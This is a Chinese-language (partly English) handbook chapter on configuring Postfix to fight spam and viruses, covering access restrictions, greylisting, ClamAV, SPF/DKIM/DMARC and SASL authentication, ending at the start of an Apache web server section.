数量增长的主动巨量（垃圾) 电子邮件需要更加严格地确定服务器接受哪些电子邮件。这一节展现了 Postfix 中包含的一些策略。

如果拒绝法则太过严格，那么会发生即使是合法的电子邮件交流也会被封锁在外面的情况。这样，好的习惯是测试严格程度，并在这时直接使用 soft_bounce = yes 指令，来防止请求被永久拒绝。通过warn_if_reject 来预置拒绝类型的指令，只有日志消息被记录，不是去拒绝请求。

CULTURE 垃圾邮件问题

“垃圾邮件”是个通用术语，用于指示在我们的电子邮箱中泛滥的所有主动的商业电子邮件（被称为 UCEs）；发送它们的不道德的个人被称为垃圾邮件发件人。他们不关心他们造成的麻烦，因为发送电子邮件花费很少，而只有很小比例的收件人需要被发送垃圾邮件的操作所吸引，来获得比成本更多的钱。这个过程多数是自动的，并且任何被公开的电子邮件地址（例如，在网页论坛上，或者在电子邮件列表的档案上，或者在 blog 上，以及等等诸如此类）会被垃圾邮件发件人的机器人发现，并收到无休止的主动消息。同样，受损系统上发现的每个联系人也会被盯上。

所有系统管理员试图使用垃圾邮件筛选程序来面对这个麻烦，但垃圾邮件发件人当然一直在调整，试图绕过这些筛选程序。一些甚至租用的网络机器也被来自各种犯罪集团的蠕虫所损害。最近的统计数据估计，因特网上交流的所有电子邮件中多达 95% 是垃圾邮件！

11.1.3.1. 基于 IP 的访问限制

smtpd_client_restrictions 指令控制哪些机器被允许与电子邮件服务器通信。

当变量包含规则列表时，如在下面的示例中，这些规则被顺序评价，从第一个到最后一个，每条规则可以接受消息，拒绝消息，或将决定权留给后面的规则。结果，顺序很重要，而简单地交换两条规则可以导致非常不同的行为。

例 11.2. 基于客户端地址的限制

smtpd_client_restrictions =

permit_mynetworks,

warn_if_reject reject_unknown_client_hostname,

check_client_access hash:/etc/postfix/access_clientip,

reject_rhsbl_reverse_client dbl.spamhaus.org,

reject_rhsbl_reverse_client rhsbl.sorbs.net,

reject_rbl_client zen.spamhaus.org,

reject_rbl_client dnsbl.sorbs.net

permit_mynetworks指令用作第一条规则，接受来自本地网络中的机器的所有电子邮件（如由 mynetworks 配置变量所定义的）。

第二条指令通常拒绝来自没有完全合法 DNS 配置的机器的邮件。这样的合法配置意味着 IP 地址可以被解析为名称，而这个名称可以反过来解析为 IP 地址。这个限制通常太严格，因为很多电子邮件服务器不具有它们 IP 地址的反向 DNS。这解释了为什么 Falcot 公司的管理员为 reject_unknown_client 指令预置了 warn_if_reject 修饰符：这个修饰符 将拒绝行为转换为日志中记录的简单警告。然后如果规则被实际强制执行的话，管理员可以关注被拒绝的消息数量，并且如果他们想要启用这样的强制执行的话，就可以在后面做出决定。

技巧 访问 表格

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using a copy of the /usr/share/doc/postfix/examples/access file shipped with the postfix-doc package and explained in access(5). This model is self-documented in its comments, which means each table describes its own syntax.

/etc/postfix/access_clientip 表格列出了 IP 地址和网络；/etc/postfix/access_helo 列出了域名；/etc/postfix/access_sender 包含发件人电子邮件地址。所有这些文件需要在每次更改后，通过sudo postmap /etc/postfix/file命令转换成哈希表（为快速访问而优化的格式）。

The check_client_access directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.

后四条规则拒绝来自其中一个黑名单中列出的服务器的任何消息。RBL 是 Remote Black List（远程黑名单）的缩写，而 RHSBL 的意思是 Right-Hand Side Black List（右手侧黑名单）。差异是前面的黑名单列出了 IP 地址，而后面的黑名单列出了域名。有几个这样的服务，列出了名声不好的、配置很差的服务器的域和 IP 地址，垃圾邮件发件人使用这些服务器作为他们电子邮件的中继，同样那些不想要的邮件也依赖这样被蠕虫或病毒感染的机器。

技巧 白名单和 RBLs

黑名单有时包括遭遇故障的合法服务器。在这些情况下，来自这些服务器之一的所有电子邮件都会被拒绝，除非这些服务器在 /etc/postfix/access_clientip 定义的白名单中列出。

这样，谨慎推荐将通常从中接收很多电子邮件的所有受信任的服务器包含在白名单中。

11.1.3.2. 检查 EHLO 或 HELO 命令的合法性

每个 SMTP 交换从HELO（或 EHLO）命令开始，然后是发送电子邮件服务器的名称。检查这个名称的合法性会很有趣。为了完全强制执行 smtpd_helo_restrictions 中列出的限制，需要启用 smtpd_helo_required 选项。否则客户端会通过不发送任何 HELO/EHLO 命令来跳过限制。

例 11.3. 对 EHLO 中宣称的名称的限制

smtpd_helo_required = yes

smtpd_helo_restrictions =

permit_mynetworks,

reject_invalid_helo_hostname,

reject_non_fqdn_helo_hostname,

warn_if_reject reject_unknown_helo_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_rhsbl_helo multi.surbl.org

第一条 permit_mynetworks 指令允许本地网络上的所有机器自由地引入它们自身。这是很重要的，因为一些电子邮件程序没有足够充分地尊重这部分 SMTP 协议，并且它们可以通过一些无意义的名称来引入自身。

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to a lot of rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

reject_rhsbl_helo 允许指定黑名单，针对 RHSBL 来检查主机名。

使用 permit_mynetworks 作为第一条规则有个有趣的副作用：后面的规则只应用于本地网络以外的主机。这允许将那些宣称自己为 falcot.com 网络的一部分的主机列入黑名单，例如，通过将 falcot.com 拒绝，你不再我们的网络中！ 这一行添加到 /etc/postfix/access_helo 文件中。

11.1.3.3. Accepting or Refusing Mails Based on the Announced Sender

每条消息都有一位发件人，由STMP 协议的 MAIL FROM（邮件来自） 命令宣布；再一次，这个信息能够以几种不同的方式验证。

例 11.4. 发件人检查

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain,

reject_unlisted_sender,

reject_non_fqdn_sender,

reject_rhsbl_sender rhsbl.sorbs.net

/etc/postfix/access_sender 表格将一些特殊处理映射到一些发件人。这通常意味着将一些发件人列入白名单或黑名单。

The reject_unknown_sender_domain rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender rule rejects local senders if the address does not exist; this prevents emails being sent from an invalid address in the falcot.com domain, and messages emanating from joe.bloggs@falcot.com are only accepted if such an address really exists.

最后，reject_non_fqdn_sender 规则拒绝那些自称来自没有完全合格域名的地址的电子邮件。实际上，这意味着拒绝来自 user@machine 的电子邮件：地址必须宣布为 user@machine.example.com 或 user@example.com。

reject_rhsbl_sender 规则根据（基于域的）RHSBL 服务来拒绝发件人。

11.1.3.4. Accepting or Refusing Mails Based on the Recipient

每封电子邮件具有至少一名收件人，由 SMTP 协议中的 RCPT TO 命令来宣布。即使与发件人地址进行的检查不那么相关，这些地址保证了合法性。

例 11.5. 收件人检查

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

reject_unlisted_recipient,

reject_non_fqdn_recipient,

permit

reject_unauth_destination 是基本的规则，需要外部消息写给我们；向这台服务器不服务的地址发送的消息被拒绝。没有这条规则的话，服务器会变成开放中继，允许所有的垃圾邮件发件人发送自主邮件；由此这条规则是强制的，它最好包含在接近列表的开始部分，从而没有其它规则能够在检查目的地之前对消息进行授权。

reject_unlisted_recipient 规则拒绝将消息发送给不存在的本地用户，这容易理解。最后，reject_non_fqdn_recipient 规则拒绝非完全合格的地址；从而不能将邮件发送给 jean 或 jean@machine，并且需要替代使用完整地址，如 jean@machine.falcot.com 或 jean@falcot.com。

在结尾的 permit 指令不是必要的。但它用于在限制列表的末端使默认策略显性化。

11.1.3.5. 与 DATA（数据） 命令相关的限制

SMTP的 DATA（数据） 命令在消息内容之前发出。它本质上不提供任何信息，除了宣布下面的是什么。它仍然可以受到检查。

例 11.6. DATA（数据） 检查

smtpd_data_restrictions = reject_unauth_pipelining

如果在对之前的命令回复被发送前，发送部分就发送了命令的话，那么 reject_unauth_pipelining 指令促使消息被拒绝。这针对垃圾邮件机器人使用的一般优化进行保护，因为它们通常毫不在乎回复，并且只聚焦在尽可能短的时间发送尽可能多的电子邮件。

11.1.3.6. 应用限制

尽管上面的命令在 SMTP 交换的各个阶段验证信息，Postfix 默认发送真正的拒绝作为对 RCPT TO 命令的回应。

这意味着即使消息由于非法的 EHLO 命令被拒绝，当宣布拒绝的时候 Postfix 也知道发件人和收件人。相比交流一开始就中断了，它可以将更显性的消息记入日志。此外，很多 SMTP 客户端在 SMTP 命令的早期都不希望失败，这些客户端通过这样较晚的拒绝而较少受到困扰。

这个选择的最后一个优点是在 STMP 交换的各个阶段规则都会聚集信息；这允许确定更精细粒度的许可，如拒绝那些宣布自己是本地发件人的非本地连接。

默认行为由 smtpd_delay_reject 规则来控制。

11.1.3.7. 根据消息内容来筛选

如果没有一种方式对信息内容进行检查的话，验证与限制系统将是不完整的。Postfix 将应用于电子邮件头的检查从那些应用于电子邮件主体的检查中区别出来。

例 11.7. 启用基于内容的筛选

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

这些文件都含有正则表达式（一般被称为 regexps 或 regexes）的列表，以及当电子邮件头（或主体）与表达式匹配时触发的相关动作。

速览 Regexp 表格

The file /usr/share/doc/postfix/examples/header_checks (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

例 11.8. 示例 /etc/postfix/header_checks 文件

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

基本知识 正则表达式

正则表达式 这个术语（缩写为 regexp 或 regex）引用了用于表达对字符串内容和/或结构进行描述的通用符号。某个特定字符允许定义替代（例如，foo|bar 与 “foo” 或 “bar”匹配）， 允许的字符组（例如，[0-9] 意味着“任何数字”，而 . ——点号——意味着“任何字符”），定量（s? 与 s 或空字符串匹配，换句话说，s 发生 0 次 或1 次；s+ 与一个或更多个连续的 s 字符匹配；以及等等诸如此类）。括号允许将搜索结果分组。

这些表达式的精确语法在使用它们的工具之间变化，但基本特性是相似的。

→ https://en.wikipedia.org/wiki/Regular_expression

第一个是检查提到电子邮件软件的标头；如果发现 GOTO Sarbacane（一个批量电子邮件软件），则拒绝消息。第二个表达式控制消息的主题；如果提到病毒通知，那么我们可以决定不拒绝消息，而是立即丢弃它。

这些筛选的使用是把双刃剑，因为容易使规则太过一般化，并且结果容易丢失合法的电子邮件。在这些情况下，不仅丢失消息，它们的发件人也会得到不需要的（令人困扰的）错误消息。

11.1.4. 设置 灰名单

“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted after a further delivery attempt with some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.

Postfix 本身不提供灰名单，但它有个特性，接受还是拒绝给定消息的决定可以委托给外部程序。postgrey 软件包刚好包含这样的程序，它被设计与这个访问策略委托服务来对接。

一旦安装了 postgrey，它就作为守护进程运行，并且监听 10023 端口。Postfix 然后可以配置来使用它，通过添加 check_policy_service 参数作为外部限制：

smtpd_recipient_restrictions =

permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10023

Each time Postfix reaches this rule in the rule set, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.

灰名单的主要缺点是合法消息会延迟，也不会总是被接受。它还增加了服务器发送很多合法电子邮件的负担。

实践 灰名单的缺点

理论上，灰名单应该只延迟从给定发件人到给定收件人的第一封邮件，并且典型的延迟是分钟级的。然而实际上会有略微的不同。一些大的 ISPs 使用 SMTP 服务器集群，并且当消息被初始拒绝时，再次尝试传送的服务器可能与初始的那个不同。当这种情况发生时，第二台服务器也因为灰名单而得到临时错误消息，以及等等诸如此类；这会花费几个小时直到尝试传送由曾经被使用过的服务器来进行，因为 SMTP 服务器通常在每次失败的尝试之间增加延迟时间。

结果，即使是单一的发件人，到来的 IP 地址也会不时变化。而更进一步：甚至发件人的地址会变化。例如，很多邮件列表服务器将发件人地址中的更多信息编码，从而能够处理错误消息（被称为 bounces，弹跳）。发送给邮件列表服务器的每条新消息然后会需要经过灰名单来筛选，这意味着必须（临时）存储在发件人的服务器上。对于非常大的邮件列表（有上万个订阅者），这会很快变成问题。

为了减轻这些缺点，Postgrey 管理这样网站的白名单，并且由它们产生的消息被立即接受，而不经过灰名单去筛选。这个列表可以容易地适应本地需求，因为它存储在 /etc/postgrey/whitelist_clients 文件中。

进阶阅读 使用milter-greylist 进行选择性灰名单的筛选

可以在已经被认为可能是垃圾邮件源头的客户端子组中只使用灰名单（因为它们被列在 DNS 黑名单中），来减轻灰名单的缺点。这对于 postgrey 是不可能的，但可以以这样的方式来使用 milter-greylist 。

在这种情形下，由于 DNS 黑名单永远不会触发已确定的拒绝，于是能够合理地使用激进的黑名单，包括从 ISP 客户端列出所有动态 IP 地址的那些（如 pbl.spamhaus.org 或 dul.dnsbl.sorbs.net）。

由于 milter-greylist 使用 Sendmail 的 milter 接口，其配置的 postfix 侧被限制为 “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”。 greylist.conf(5) 手册页将 /etc/milter-greylist/greylist.conf 和配置 milter-greylist 的几种方式进行了存档。还必须编辑 /etc/default/milter-greylist 来实际启用这项服务。

11.1.5. 根据收件人定制筛选程序

第 11.1.3 节 “接收邮件和发送邮件的限制” 和 第 11.1.4 节 “设置 灰名单” 回顾了很多可能的限制。在限制接收到垃圾邮件的量方面它们都有自己的作用，但它们也有自己的缺点。这样，根据收件人来定制一组筛选程序会越来越常见。在 Falcot 公司，灰名单吸引了多数用户，但它阻碍了需要低延迟电子邮件的一些用户（如技术支持服务）的工作。相似地，从会被列入黑名单的一些亚洲提供商那里接收电子邮件的商务服务有时也会有问题；这项服务要求非筛选的地址，从而能够响应。

Postfix 通过“restriction class（限制类）”的概念来提供筛选服务的定制。类在 smtpd_restriction_classes 参数中声明，并且以 smtpd_recipient_restrictions 的相同方式定义。check_recipient_access 指令然后定义表格，将给定的收件人映射到适当的限制组。

例 11.9. 在 main.cf 中定义限制类

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =

reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023

permissive = permit

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

例 11.10. /etc/postfix/recipient_access 文件

# Unfiltered addresses

postmaster@falcot.com  permissive

support@falcot.com     permissive

sales-asia@falcot.com  permissive

# Aggressive filtering for some privileged users

joe@falcot.com         aggressive

# Special rule for the mailing-list manager

sympa@falcot.com       reject_unverified_sender

# Greylisting by default

falcot.com             greylisting

11.1.6. Integrating an Antivirus Filter

The many viruses circulating as attachments to emails make it important to set up an antivirus solution at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.

安全 防病毒软件的有争议的讨论

病毒扫描软件，或者所谓防病毒软件的使用是有争议的。一些恶意软件的发行与检测规则添加到防病毒数据库之间通常有时间间隔。在这个间隔中，没有基于软件的保护。进一步，病毒扫描软件的使用通常需要运行另外的软件，例如，解压缩档案并扫描所有类型的可执行文件，这彻底增加了防病毒软件自身的利用潜力。由此，使用这样软件的解决方案永远也不能代替对斗争的了解与简单的行为规则（永远不要打开自主发送附件，等等）。

The Falcot administrators selected clamav from the homonymous package.

防病毒软件与电子邮件服务器之间的接口任务由 clamav-milter 执行。milter （mail filter，邮件筛选程序的缩写）是特别设计与电子邮件服务器来接口的筛选程序。milter 使用标准的应用程序接口（API），来提供比电子邮件服务器之外的筛选程序更好的性能。Milters 最初由 Sendmail 引入，但 Postfix 很快就效仿了。

速览用于 Spamassassin 的 milter

spamass-milter 软件包根据 SpamAssassin这个著名的自发电子邮件检测程序来提供milter。它可以用于将消息标记为可能的垃圾邮件（通过添加另外的标头），并且/或者拒绝消息，如果其“垃圾邮件特性”得分超过给定阈值的话。

一旦安装了 clamav-milter 软件包，就应该重新配置 milter 来运行在 TCP 端口上，而不是在默认命名套接字上。这可以通过 dpkg-reconfigure clamav-milter 来实现。当提示“Communication interface with Sendmail”（ Sendmail 的通讯接口）时，回答 “inet:10002@127.0.0.1”。

注解 真正的 TCP 端口 vs 命名套接字

我们使用真实的 TCP 端口而不是命名套接字的原因是，postfix 守护进程通常运行 chrooted， 而不能访问作为命名套接字主机的目录。还应该决定一直使用命名套接字，并在 chroot 内选择一个位置（/var/spool/postfix/）。

标准的 ClamAV 配置适应多数情况，但一些重要的参数仍然需要用 dpkg-reconfigure clamav-base 来定制。

最后一步包括告诉 Postfix 使用最近配置的筛选程序。这是件简单的事，将后面的指令添加到 /etc/postfix/main.cf中：

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

如果防病毒软件发生问题，这一行可以被注释掉，并且应该运行 systemctl reload postfix，使这项更改被接受。

实践 测试防病毒软件

一旦设置好防病毒，就可以测试它的正确行为了。测试的最简单方式是发送测试电子邮件，包含eicar.com （或 eicar.com.zip）文件的附件，它可以在线下载：

→ https://2016.eicar.org/86-0-Intended-use.html

这个文件不是真实的病毒，但市场上的所有防病毒软件将这个测试文件诊断文病毒，这样允许检查防病毒软件的安装。

由 Postfix 处理的所有消息现在经过防病毒软件删选程序。

11.1.7. 用 SPF、DKIM 和 DMARC 应对垃圾邮件

每天大量发送的自发电子邮件导致建立了几条标准，目的在于验证授权的电子邮件的发送主机被授权，以及没有关联的电子邮件是否合法。后面的系统都是基于 DNS 的，并且需要管理员不仅控制邮件服务器，而且还要控制有问题的域的 DNS。

警告 有争议的讨论

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefore these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. 集成发件人策略框架（Sender Policy Framework，即SPF）

发件人策略框架（Sender Policy Framework，即SPF）用于验证对于给定的域，某个邮件服务器是否允许合法地发送电子邮件。它主要通过 DNS 来配置。配置入口的语法在：

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

中具体解释

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to send email for the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org

Type: TXT

TTL:  3600

Data: v=spf1 a mx -all

让我们快速浏览一下 falcot.org 入口。

# host -t TXT falcot.org

falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

它声明发件人的 IP 必须与发送域的记录匹配，或者必须作为当前域的一个电子邮件交换资源记录（Mail Exchange Resource Records）列出，或者必须是三个提到的 IP4 地址之一。所有其它主机应该被标记为不允许对那些发件人域发送电子邮件。后者被称为“软失败”，并且要由此标记电子邮件，但仍可以接受它。

postfix 邮件服务器可以使用 postfix-policyd-spf-python 软件包，对到来的电子邮件来检查 SPF 记录，这个软件包是用 Python 写的策略代理。文件 /usr/share/doc/postfix-policyd-spf-python/README.Debian 描述了将代理集成进 postfix 的必要步骤，因此不在这里重复。

配置在文件 /etc/postfix-policyd-spf-python/policyd-spf.conf 中完成，它完全存档在 policyd-spf.conf(5) 和 /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz中。主要配置参数是 HELO_reject 和 Mail_From_reject，如果检查失败的话，它们将通过将追加标头（False），来配置电子邮件应该被拒绝（Fail）还是应该被接受。当消息被垃圾邮件筛选程序进一步处理时，后者通常很有用。

如果结果要由 opendmarc（第 11.1.7.3 节 “集成基于域的消息认证、报告与一致性（DMARC）”）使用，那么 Header_Type 必须设置为 AR。

注意 spamassassin 包含插件来检查 SPF 记录。

11.1.7.2. 和集成 DomainKeys (DKIM) 签名与检查

域密钥识别邮件（Domain Keys Identified Mail，缩写为DKIM）标准是发件人认证系统。邮件传输代理，这里是 postfix，将与域名相联系的数字签名添加到外发电子邮件的标头中。接收部分可以通过相对于发件人 DNS 记录中下载的公钥来检查签名，从而验证消息本体和标头字段。

→ http://dkim.org/

必要的工具与软件包opendkim 和 opendkim-tools 一起上市。

警告 邮件列表软件和 DKIM

邮件列表管理器通常重写一些电子邮件的标头，这样导致非法的 DKIM 签名。即使使用 relaxed（放松的） 规范，也不能总是防止发生这个问题。于是管理员必须密切注意邮件服务器的日志文件，来识别这样的问题。否则这样的电子邮件会被标记为垃圾邮件并会被拒绝。

第一个私钥必须使用命令 opendkim-genkey -s SELECTOR -d DOMAIN来创建。 SELECTOR 必须是密钥的唯一名称。如果计划旋转密钥的话，它可以像 “mail”或创建日期那样简单。

例 11.11. 创建私钥用于为来自 falcot.com 的电子邮件签名

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

这将创建文件 /etc/dkimkeys/mail.private 和 /etc/dkimkeys/mail.txt，并设置适当的所有权。第一个文件包含私钥，而后一个文件包含需要添加到 DNS 中的公钥：

Name: mail._domainkey

Type: TXT

TTL:  3600

Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

Debian 中的 opendkim 软件包默认为 2048 字节。不幸的是一些 DNS 服务器只能处理最大 255 个字符的文本入口，这超过了所选择的默认尺寸。在这种情况下，使用 -b 1024 选项来选择较小的密钥尺寸。如果 opendkim-testkey 成功的话，入口就会被成功设置。入口的语法在这里解释：

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

为了配置 opendkim，必须在 /etc/default/opendkim 中选择 SOCKET 和 RUNDIR。请注意，必须在 chrooted 环境下从 postfix 中访问 SOCKET 。进一步的配置在 /etc/opendkim.conf 中完成。后面是配置节选，它确定 Domain（域） "falcot.com" 和所有子域 （SubDomain）由 Selector（选择器）"mail"和单独的私钥 (KeyFile) /etc/dkimkeys/mail.private 来签名。对于标头和本体 “放松的”Canonicalization（规范）能够容忍温和的修改（例如由邮件列表软件）。筛选程序在签名（"s"）和确认（"v"）Mode（模式）中运行。如果签名验证失败（On-BadSignature），那么邮件应该被隔离（"q"）。

[...]

Domain                  falcot.com

KeyFile                 /etc/dkimkeys/mail.private

Selector                mail

[...]

Canonicalization        relaxed/relaxed

Mode                    sv

On-BadSignature         q

SubDomains              yes

[...]

Socket                  inet:12345@localhost

[...]

UserID                  opendkim

还能够使用多个选择器/密钥（KeyTable）、域（SigningTable）并指定内部或可信任的主机（InternalHosts、ExternalIgnoreList），它们可以通过服务器作为签名的主机之一发送邮件，而无需证书。

后面在 /etc/postfix/main.cf 中的指令使 postfix 使用筛选程序：

milter_default_action = accept

non_smtpd_milters = inet:localhost:12345

smtpd_milters = inet:localhost:12345

为了区别签名与核实，有时将指令替代添加到 /etc/postfix/master.cf 的服务中更有用。

更多信息可以在 /usr/share/doc/opendkim/ 目录和手册页 opendkim(8) 与 opendkim.conf(5) 中获得。

注意 spamassassin 包含插件来检查 DKIM 记录。

11.1.7.3. 集成基于域的消息认证、报告与一致性（DMARC）

基于域的消息认证、报告与一致性（DMARC）标准，可以通过_dmarc名称来确定 DNS TXT 入口，以及当包含您的域作为发送主机的电子邮件使用 DKIM 和 SPF 验证失败时应该执行的动作。

→ https://dmarc.org/overview/

让我们看看两个大提供商的条目：

# host -t TXT _dmarc.gmail.com

_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com"

# host -t TXT _dmarc.yahoo.com

_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo 具有严格的策略来rejec（拒绝）t所有的电子邮件，防止它们从 Yahoo 账户发送，但没有 DKIM 和 SPF 检查或检查失败。Google Mail （Gmail）传播非常放松的策略，其中来自主域的消息仍然应该被接受（p=none）。对于子域，它们应该被标记为垃圾邮件（sp=quarantine）。在 rua 密钥中给出的地址可以用于将汇总的 DMARC 报告发送给它。完整语法在这里解释：

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

postfix 邮件服务器也可以使用这个信息。opendmarc 软件包包含必要的 milter 。与 opendkim 相似，SOCKET 和 RUNDIR 必须在 /etc/default/opendmarc 中选择（对于 Unix 套接字，必须确认它们能够在 postfix chroot 内找到）。配置文件/etc/opendmarc.conf 包含具体的注释，并且还在 opendmarc.conf(5) 中解释。DMARC 验证失败的电子邮件默认被拒绝，但通过添加适当的标头字段而被标记。要更改的话，需使用 RejectFailures true。

然后 milter 添加到 smtpd_milters 和 non_smtpd_milters 中。如果我们配置 opendkim 和 opendmarc milters 在端口 12345 和 54321 上运行，那么 /etc/postfix/main.cf 中的入口看起来像这样：

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321

smtpd_milters = inet:localhost:12345,inet:localhost:54321

milter 还可以可选择地替代应用于 /etc/postfix/master.cf 中。

11.1.8. 认证的 SMTP

能够发送电子邮件需要能够访问到 SMTP 服务器；还需要所谓的 SMTP 服务器，通过它来发送电子邮件。对于漫游用户，这会需要定期更改 SMTP 客户端的配置，因为 falcot 公司的 SMTP 服务器拒绝来自明显不属于公司 IP 地址的邮件。有两个解决方案：漫游用户在他们的计算机上安装 SMTP 服务器，或者他们通过一些方式被认证为雇员，从而仍然使用公司的服务器。不推荐前面的解决方案，因为计算机不会永远地连接，并且在出现问题时不能重复尝试发送消息；我们将聚焦于后一个解决方案。

Postfix 中的 SMTP 认证依赖于 SASL（Simple Authentication and Security Layer，简单认证与安全层）。它需要安装 libsasl2-modules 和 sasl2-bin 软件包，然后在 SASL 数据库中为 SMTP 服务器上需要认证的每位用户注册密码。这通过 saslpasswd2 命令完成，它使用几个参数。-u 选项确定认证域，必须与 Postfix 配置中的 smtpd_sasl_local_domain 参数匹配。-c 选项允许创建用户，而在 SASL 数据库需要存储在默认位置（/etc/sasldb2）以外的不同位置的情况下，-f允许指定要使用的文件。

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... type jean's password twice ...]

注意 SASL 数据库创建在 Postfix 的目录下。为了确保一致性，还使用 ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 命令，将 /etc/sasldb2 转变成指向由 Postfix 使用的数据库的符号链接。

现在需要配置 Postfix 来使用 SASL。首先 postfix 用户需要被添加到 sasl 群组中，从而可以访问 SASL 账户数据库。还需要一些新的参数来启用 SASL，并且需要配置 smtpd_recipient_restrictions 参数来允许 SASL 认证的客户端自由发送电子邮件。

例 11.12. 在 /etc/postfix/main.cf 中启用 SASL

# Enable SASL authentication

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Adding permit_sasl_authenticated before reject_unauth_destination

# allows relaying mail sent by SASL-authenticated users

smtpd_recipient_restrictions =

permit_sasl_authenticated,

permit_mynetworks,

reject_unauth_destination,

[...]

不通过未加密的连接发送密码通常是好的主意。Postfix 允许为它运行其上的每个端口（服务）使用不同的配置。所有这些可以在 /etc/postfix/master.cf 文件中以不同的规则和指令来配置。为了完全关闭对端口 25（smtpd 服务）的认证，要添加后面的指令：

smtp      inet  n       -       y       -       -       smtpd

[..]

-o smtpd_sasl_auth_enable=no

[..]

如果由于一些原因，客户端使用了过期的 AUTH 命令（一些非常老的客户端会这样），那么可以使用 broken_sasl_auth_clients 指令来启用与它们的互操作性。

补充 认证的 SMTP 客户端

多数电子邮件客户端能够在发送外发的消息前对 SMTP 服务器认证，对这个特性的使用不过是简单的配置适当参数的事。如果使用的客户端不提供这样的特性，那么变通方法是使用本地 Postfix 服务器，并配置它通过远程 SMTP 服务器来中继电子邮件。在这种情况下，本地 Postfix 本身将会是用 SASL 验证的客户端。这里是需要的参数：

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

/etc/postfix/sasl_passwd 文件需要包含用户名和密码，用于在 mail.falcot.com 服务器上验证。这里是示例：

[mail.falcot.com]   joe:LyinIsji

对于所有的 Postfix 映射，这个文件必须用 postmap 命令转换为 /etc/postfix/sasl_passwd.db。

11.2. Web 服务器（HTTP）

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Bullseye at version 2.4.52.

替代 其它 web 服务器

Apache is probably the most widely-known web server, but there are others. Its major opponent is nginx, which comes in different packages with different sets of features, like nginx-light, nginx-full, or nginx-extras. Another alternative is lighttpd. All of them can offer very good or even better performance under certain workloads or in certain situations, but not all provide the same number of available features and modules.

11.2.1. 安装 Apache

所有需要的只是安装 apache2 软件包。它包含所有的模块，包括 Multi-Processing Modules (MPMs) ，它影响 Apache 如何处理很多请求的并行处理，以前这在另外的 apache2-mpm-* 软件包中提供。它还拉取 apache2-utils，其中包含的命令行应用将在后面讨论。

使用 MPM 显著地影响 Apache 处理并发请求的方式。通过 worker MPM，它使用 threads（线程）（轻量进程），而通过 prefork MPM，它使用预先创建的进程池。通过 event（事件） MPM，它也使用线程，但非活动连接（显著地由 HTTP keep-alive 特性保持打开的那些）交回给专用的管理线程。

